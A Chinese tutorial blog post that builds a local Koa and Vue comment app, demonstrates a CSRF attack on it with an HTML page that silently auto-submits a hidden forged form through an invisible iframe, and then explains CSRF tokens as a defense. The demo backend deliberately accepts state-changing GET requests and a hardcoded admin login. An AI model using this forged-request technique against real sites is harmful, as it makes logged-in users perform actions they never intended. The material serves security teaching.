CSRF防御及模拟CSRF攻击

news2024/11/22 5:37:42

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种攻击方式,攻击者可以诱使用户在已登录的应用中执行非本意的操作。为了防御这种攻击,许多Web应用会使用CSRF Token来验证请求的合法性。

0.csrf 攻击原理

 

2. 后端服务app.js 使用nodemon插件启动服务需全局安装nodemon app.js

const Koa = require('koa');
const Router = require('koa-router');
const bodyParser = require('koa-bodyparser'); // 用于解析请求体
// const cookies = require('koa-cookies');

const app = new Koa();
const router = new Router();

// 使用中间件解析请求体
app.use(bodyParser());

var listLog = []
let username = ''
router.get('/login', (ctx, next) => {
  // 获取 url
  let url = ctx.url;
  // 从上下文中获取get请求参数
  // 获取GET请求参数
  const queryParams = ctx.query;
  console.log(`GET请求参数: ${JSON.stringify(queryParams)}`)
  console.log(queryParams.username)
  if (queryParams.username == 'admin') {
    username = 'admin'
    ctx.cookies.set('myCookie', queryParams.username, {
      maxAge: 1000 * 60 * 60, // 1小时过期
      httpOnly: true, // 仅在http请求中可用,不允许js访问
      overwrite: true, // 覆盖已有的cookie
      SameSite: "strict" //更严格的安全模式,cookie永远不会附带于跨站点的请求上,即使是在顶级导航的情况下也不会发送cookie
    });
  }
  // next()
});
router.get('/getMsg', (ctx, next) => {
  ctx.body = {
    data: listLog
  };
});

router.post('/setMsg', async (ctx) => {
  console.log(ctx.request)

  const queryParams = ctx.request.body.msg; // 获取请求体
  // 处理body中的数据...
  listLog.push({ msg: queryParams, username: username || '匿名用户' })
  ctx.body = {
    data: listLog
  };
})
router.get('/setMsg', (ctx, next) => {
  const queryParams = ctx.query.msg;
  listLog.push({ msg: queryParams, username: username || '匿名用户' })
  ctx.body = {
    data: listLog
  };
});
router.get('/clearmsg', (ctx, next) => {
  listLog = []
  ctx.body = {
    data: listLog
  };

});


app.use(router.routes()); // 匹配路由并调用相应的处理函数
app.use(router.allowedMethods());

app.listen(9000);
console.log('Server is running on port 9000');


3. 前端服务

<template>
  <div class="hello">
    <el-input
      style="width: 300px"
      v-model="from.username"
      disabled
      placeholder="请输入内容"
    ></el-input>
    <el-button @click="login">登录</el-button>
    <h1 style="float: left">
      <el-button @click="clearmsg">清空评论</el-button>
    </h1>
    <h1>
      <el-input style="width: 300px" v-model="msg" placeholder="请输入评论信息">
      </el-input>
      <el-button @click="setmsg">添加评论</el-button>
    </h1>

    <el-table :data="tableData" style="width: 100%">
      <el-table-column prop="username" label="姓名" width="180">
      </el-table-column>
      <el-table-column prop="msg" label="评论信息"> </el-table-column>
    </el-table>
  </div>
</template>

<script>
export default {
  name: "HelloWorld",
  data() {
    return {
      msg: "",
      from: {
        username: "admin",
        password: "123",
      },
      tableData: [],
    };
  },
  mounted() {
    this.getmsg();
  },
  methods: {
    login() {
      this.$axios
        .get("/app/login", { params: { ...this.from } })
        .then((res) => {
          console.log(res.data.data);
        });
    },
    getmsg() {
      this.$axios.get("/app/getMsg", {}).then((res) => {
        this.tableData = res.data.data;
        console.log(res.data.data);
      });
    },
    setmsg() {
      /* this.$axios
        .get("/app/setMsg", { params: { msg: this.msg } })
        .then((res) => {
          this.msg = "";
          console.log(res.data.data);
          this.getmsg();
        }); */
      this.$axios.post("/app/setMsg", { msg: this.msg }).then((res) => {
        this.msg = "";
        console.log(res.data.data);
        this.getmsg();
      });
    },
    clearmsg() {
      this.$axios.get("/app/clearmsg", {}).then(() => {
        this.getmsg();
      });
    },
  },
};
</script>

<!-- Add "scoped" attribute to limit CSS to this component only -->
<style scoped>
h1,
h2 {
  font-weight: normal;
}
ul {
  list-style-type: none;
  padding: 0;
}
li {
  display: inline-block;
  margin: 0 10px;
}
a {
  color: #42b983;
}
</style>

 

 4. csrf跨站攻击脚本

<!doctype html>
<html>

<head>
  <meta charset="utf-8" />
  <title>csrf demo</title>
</head>

<body>
  hello,这里什么也没有。
  <!-- <a href="http://127.0.0.1:8080/app/getMsg?msg=来自CSRF攻击">点击这里有钱拿</a> -->
  <!-- <img src="http://127.0.0.1:8080/app/getMsg?msg=来自CSRF攻击" alt="" srcset=""> -->

  <script>
    document.write(`
				<form name="commentForm" target="csrf" method="post" action="http://localhost:8080/app/setMsg">
          <input name="msg" type="hidden" value="来自CSRF攻击">
					<textarea name="content">来自CSRF攻击!</textarea>
				</form>`
    );

    var iframe = document.createElement('iframe');
    iframe.name = 'csrf';
    iframe.style.display = 'none';
    document.body.appendChild(iframe);

    setTimeout(function () {
      document.querySelector('[name=commentForm]').submit();
    }, 1000);
  </script>
</body>

</html>

5.攻击详情部署

1:首先不登录的情况添加评论1,刷新前端页面。

2:点击登录按钮添加评论123,刷新前端页面。

3:打开csrf跨站攻击脚本页面,刷新前端页面。

6.防御csrf攻击方式

1.CSRF Token

CSRF Token(跨站请求伪造令牌)并不是指登录成功后返回的用于身份验证的token,尽管它们可能看起来相似并且都涉及到了“token”这个词,但它们有着不同的目的和机制。

登录返回的Token(Session Token 或 Access Token)

当你登录到一个网站或应用时,服务器可能会生成一个token,通常是session token或者access token,然后返回给客户端。这个token会存储在客户端(比如浏览器的cookie中),并在后续的每个请求中附带,以便服务器可以验证请求的来源。这个token的作用是证明用户已经通过了身份验证,是用户与服务器之间会话状态的一部分。

CSRF Token

CSRF Token则是为了防止跨站请求伪造攻击而设计的。在CSRF攻击中,攻击者试图诱使已登录的用户在不知情的情况下执行恶意操作,例如转账或改变账户设置。CSRF Token是一种额外的安全措施,用来确认发起请求的页面是可信任的源。

CSRF Token的机制是这样的:

  1. 用户登录后,服务器会生成一个随机的CSRF Token,并将其存储在服务器端,同时也会将这个Token以某种形式(如隐藏的表单字段、HTTP header或cookie)发送给客户端。
  2. 当客户端发起敏感请求时,必须包含这个CSRF Token。
  3. 服务器接收到请求后,会验证请求中的CSRF Token是否与服务器上存储的Token相匹配。如果不匹配,则拒绝请求。

因为CSRF Token是在用户登录后由服务器独立生成的,且每个会话或每个请求都可能是不同的,所以即使攻击者能够控制用户点击链接或按钮,他们也无法预测或复制正确的CSRF Token,因此无法成功伪造请求。

总之,登录返回的token主要用于身份验证和授权,而CSRF Token则专门用于保护应用程序免受跨站请求伪造攻击。两者虽然都是token,但在功能和使用场景上是不同的。

2.登录验证码或者是token

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1936666.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024 HNCTF PWN(hide_flag Rand_file_dockerfile Appetizers TTOCrv_)

文章目录 参考hide_flag思路exp Rand_file_dockerfile libc 2.31思路exp Appetizers glibc 2.35绕过关闭标准输出实例客户端 关闭标准输出服务端结果exp TTOCrv_&#x1f3b2; glibc 2.35逆向DT_DEBUG获得各个库地址随机数思路exp 参考 https://docs.qq.com/doc/p/641e8742c39…

HTTPS 的加密过程 详解

HTTP 由于是明文传输&#xff0c;所以安全上存在以下三个风险&#xff1a; 窃听风险&#xff0c;比如通信链路上可以获取通信内容。篡改风险&#xff0c;比如通信内容被篡改。冒充风险&#xff0c;比如冒充网站。 HTTPS 在 HTTP 与 TCP 层之间加入了 SSL/TLS 协议&#xff0c…

LVS+Nginx高可用集群---搭建高可用集群负载均衡

1.LVS简介 Lvs(Linux Virtual Server)&#xff1a;使用集群&#xff0c;对于整个用户来说是透明&#xff0c;用户访问的时候是单个高性能的整体。道理与nginx类似 LVS网络拓扑图&#xff1a;是基于四层。 用户通过浏览器发送请求&#xff0c;然后到达LVS.Lvs根据相应算法将…

使用NIFI连接瀚高数据库_并从RestFul的HTTP接口中获取数据局_同步到瀚高数据库中---大数据之Nifi工作笔记0067

首先来看一下如何,使用NIFI 去连接瀚高数据库. 其实,只要配置好了链接的,连接字符串,和驱动,任何支持JDBC的数据库都可以连接的. 首先我们用一个ListDatabaseTables处理器,来连接瀚高DB 主要是看这里,连接地址,以及驱动,还有驱动的位置 这个是数据连接的配置 jdbc:highgo://…

FinClip 率先入驻 AWS Marketplace,加速全球市场布局

近日&#xff0c;凡泰极客旗下的小程序数字管理平台 FinClip 已成功上线亚马逊云科技&#xff08;AWS&#xff09;Marketplace。未来&#xff0c;FinClip 将主要服务于海外市场的开放银行、超级钱包、财富管理、社交电商、智慧城市解决方案等领域。 在全球市场的多样性需求推动…

【Linux】深入探索`cp`命令:文件复制的全面指南

文章目录 一、cp命令概述二、cp命令的基本用法1. 复制单个文件2. 复制多个文件到目录 三、cp命令的常用选项1. -i&#xff1a;交互式复制&#xff08;interactive&#xff09;2. -r或-R&#xff1a;递归复制目录&#xff08;recursive&#xff09;3. -v&#xff1a;详细模式&am…

Python学习笔记40:游戏篇之外星人入侵(一)

前言 入门知识已经学完&#xff0c;常用标准库也了解了,pygame入门知识也学了&#xff0c;那么开始尝试小游戏的开发。 当然这个小游戏属于比较简单的小游戏&#xff0c;复杂的游戏需要长时间的编写累计开发经验&#xff0c;同时也需要一定的时间才能编写出来。现在的话还是嫩…

Android 视频音量图标

attrs.xml <?xml version"1.0" encoding"utf-8"?> <resources><!--图标颜色--><attr name"ijkSolid" format"color|reference" /><!--喇叭底座宽度--><attr name"ijkCornerWidth" form…

Android 视频亮度图标

attrs.xml <?xml version"1.0" encoding"utf-8"?> <resources><!--图标颜色--><attr name"ijkSolid" format"color|reference" /><!--圆角大小--><attr name"ijkRadius" format"d…

《Linux运维总结:基于ARM64架构CPU使用docker-compose一键离线部署单机版tendis2.4.2》

总结&#xff1a;整理不易&#xff0c;如果对你有帮助&#xff0c;可否点赞关注一下&#xff1f; 更多详细内容请参考&#xff1a;《Linux运维篇&#xff1a;Linux系统运维指南》 一、部署背景 由于业务系统的特殊性&#xff0c;我们需要面对不同的客户部署业务系统&#xff0…

CSRF+XSS组合攻击实战

目录 0x01安装靶场 0x02分析功能点的请求接口&#xff0c;构造恶意请求 0x03寻找xss漏洞 0x01安装靶场 下载源码&#xff0c;解压到网站根目录 1.修改数据库配置文件 打开源码&#xff0c;进入到include目录下&#xff0c;打开数据库配置文件database.inc.php 将数据库的…

Android GWP-Asan使用与实现原理

目录 一、 背景 二、GWP-Asan介绍 2.1 什么是GWP-ASan 2.2 GWP-Asan与其他几类工具对比 2.3 GWP-ASan与其它内存分配器的兼容性 三、GWP-Asan如何使用 3.1 app进程 3.2 native进程 四、GWP-Asan实现原理 4.1 进程启用GWP-Asan 4.2 初始化 4.3 内存分配 4.3.1 内存…

Proxyman for Mac v5.6.1 抓包调试工具

Mac分享吧 文章目录 效果一、下载软件二、功能三、开始安装1、双击运行软件&#xff0c;将其从左侧拖入右侧文件夹中&#xff0c;等待安装完毕2、应用程序显示软件图标&#xff0c;表示安装成功 四、运行测试1、打开软件 安装完成&#xff01;&#xff01;&#xff01; 效果 一…

开源模型应用落地-FastAPI-助力模型交互-进阶篇(四)

一、前言 FastAPI 的高级用法可以为开发人员带来许多好处。它能帮助实现更复杂的路由逻辑和参数处理&#xff0c;使应用程序能够处理各种不同的请求场景&#xff0c;提高应用程序的灵活性和可扩展性。 在数据验证和转换方面&#xff0c;高级用法提供了更精细和准确的控制&#…

【Linux服务器Java环境搭建】012在linux中安装消息队列RabbitMQ,以及对RabbitMQ设置、启动、开启可视化

系列文章目录 【Linux服务器Java环境搭建】 前言 上一篇博客竟然用了不到半小时就写完了&#xff0c;那就继续吧&#xff0c;如果对此系列感兴趣&#xff0c;可以点击系列【Linux服务器Java环境搭建】进行查看哈&#xff0c;这一篇主要是安装和配置消息队列RabbitMQ。 一、消…

Easysearch、Elasticsearch、Amazon OpenSearch 快照兼容对比

启动集群 Easysearch sysctl -w vm.max_map_count262144Amazon OpenSearch Elasticsearch 由于这个docker compose没有关于kibana的配置&#xff0c;所以我们还是用Console添加原生的Elasticsearch集群 集群信息 快照还原的步骤 快照前的准备 插件安装 本次测试选择把索…

力扣1696.跳跃游戏 VI

力扣1696.跳跃游戏 VI 递推 class Solution {public:int maxResult(vector<int>& nums, int k) {int n nums.size();vector<int> f(n);f[0] nums[0];for(int i1;i<n;i)f[i] *max_element(f.begin() max(i-k,0),f.begin() i) nums[i];return f[n-1];}…

【Manim动画教程】——基本几何 【弧-上】

1.标注点&#xff08;AnnotationDot&#xff09; 具有较大半径和粗体笔触的点&#xff0c;用于注释场景。 class AnnotationDot(radius0.10400000000000001, stroke_width5, stroke_colorManimColor(#FFFFFF), fill_colorManimColor(#58C4DD), **kwargs) 实例代码&#xff…

npm install报错:npm error ERESOLVE could not resolve

从git上拉取一个新vue项目下来&#xff0c;在npm install时报错&#xff1a;npm error ERESOLVE could not resolve 有网友分析原因是因为依赖冲突导致报错&#xff0c;解决方法如下&#xff1a; # --legacy-peer-deps&#xff1a;安装时忽略所有peerDependencies&#xff0c…

Serverless技术的市场调研与发展分析

目录 一、 Serverless基础 1.1 Serverless产生的背景 1.2 什么是Serverless 1.3 Serverless架构优势 1.3.1 按需使用的资源管理 1.3.2 简化业务运维复杂度 1.4 Serverless和Service Mesh相同点 1.5 Serverless基础架构 1.5.1 函数管理 1.5.2 事件触发器 1.5.3 函数的…